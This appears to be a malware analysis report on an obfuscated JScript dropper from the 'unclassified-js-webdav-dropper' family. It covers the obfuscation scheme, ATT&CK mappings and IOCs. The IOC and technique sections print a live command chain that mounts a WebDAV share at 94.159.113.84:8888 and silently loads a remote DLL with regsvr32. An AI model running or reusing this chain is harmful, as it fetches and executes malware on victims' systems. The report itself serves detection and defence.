SHA-256:
f01dca2e327ae3f75c85bb161e231a1020d01660f28d3bc759084fb526c25dfbf01dca2e — JavaScript WebDAV Dropper (100-entry dictionary)
Build / RE
- Language: JScript (Windows Script Host), single-line file, 295 KB. ^[file.txt]
- Obfuscation: Dictionary lookup-table with 100 key/value pairs mapping random lowercase noise strings (avg 7 chars, e.g.
sgctkxc,vzzxhzqjy) to single characters; assembled viathis[eval](...)chain. Object namevukqn. Largest dictionary observed in the family (tiesfbdd83adande2568b43for 100-entry cardinality). ^[strings.txt] - Decoding: Static replacement of
vukqn['key']references followed by string-concatenation collapse yields the payload. ^[floss.txt] - Anti-analysis: None — no debugger checks, VM detection, time-bombs, or connectivity gates. ^[capa.txt]
- Code quality: Low — hand-written noise-key dictionary, repetitive concatenation chains, no commercial obfuscator signatures.
Deploy / ATT&CK
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | .js file executed by WScript; outer layer builds payload via this[eval](...) ^[strings.txt] |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\94.159.113.84@8888\davwwwroot\30197980715234.dll ^[strings.txt] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | 100-entry noise-key dictionary lookup table ^[strings.txt] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | regsvr32 signed system binary used for silent DLL registration ^[strings.txt] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\94.159.113.84@8888\DavWWWRoot\) ^[strings.txt] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts WebDAV share; regsvr32 fetches and loads remote DLL ^[strings.txt] |
IOCs
- C2:
94.159.113.84:8888 - UNC payload path:
\\94.159.113.84@8888\davwwwroot\30197980715234.dll - Payload filename:
30197980715234.dll - Execution chain:
cmd /c timeout 1 && cmd /c net use <UNC> && cmd /c regsvr32 /s <UNC\.dll> - Window style:
0(hidden), wait:false
Family
unclassified-js-webdav-dropper — Eighty-sixth confirmed sibling. Matches execution chain of the 94.159.113.x sub-cluster (fbdd83ad, e2568b43, c4670e86, etc.) but with a completely new 100-entry noise-key set and new payload filename. No PowerShell wrapper, no wordpad decoy, no sandbox gate, no batch/polyglot layer. ^[/intel/analyses/f01dca2e327ae3f75c85bb161e231a1020d01660f28d3bc759084fb526c25dfb.html]